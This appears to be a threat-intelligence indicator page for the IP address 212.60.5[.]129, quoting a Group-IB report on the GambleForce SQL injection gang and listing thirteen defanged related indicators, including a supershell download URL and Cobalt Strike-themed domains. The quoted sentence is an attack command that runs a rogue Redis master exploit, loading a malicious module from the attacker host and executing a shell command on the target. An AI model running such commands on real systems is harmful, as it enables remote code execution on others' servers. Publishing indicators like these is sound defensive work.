212.60.5[.]129IP address
Reported by 1 independent source · first reported by Group-IB · last reported
Last reported 2 years ago
What the reports say
1 report, newest first · the exact sentence from each-
Ace in the Hole: exposing GambleForce, an SQL injection gang“python redis-master.py -r [targetip] -p 6379 -L 212.60.5[.]129 -P 21000 -f RedisModulesSDK/exp.so -c "whoami"”
Indicators reported together
named in the same reports- hxxp://38.54.40[.]156:8888/supershell/compile/download/linuxamdx64in 1 report
- 38.54.40[.]156in 1 report
- dns-supports[.]onlinein 1 report
- windows.updates[.]wikiin 1 report
- cs[.]storein 1 report
- www.dns-supports[.]onlinein 1 report
- cobaltstrikepro[.]storein 1 report
- 37.128.246[.]50in 1 report
- 38.60.220[.]230in 1 report
- 130.162.156[.]51in 1 report
- 172.104.113[.]179in 1 report
- 123.118.226[.]80in 1 report
- 172.104.51[.]37in 1 report
Copy these 13 indicators · defanged
Also named with it: CVE-2023-23752
Thanks — we review every report.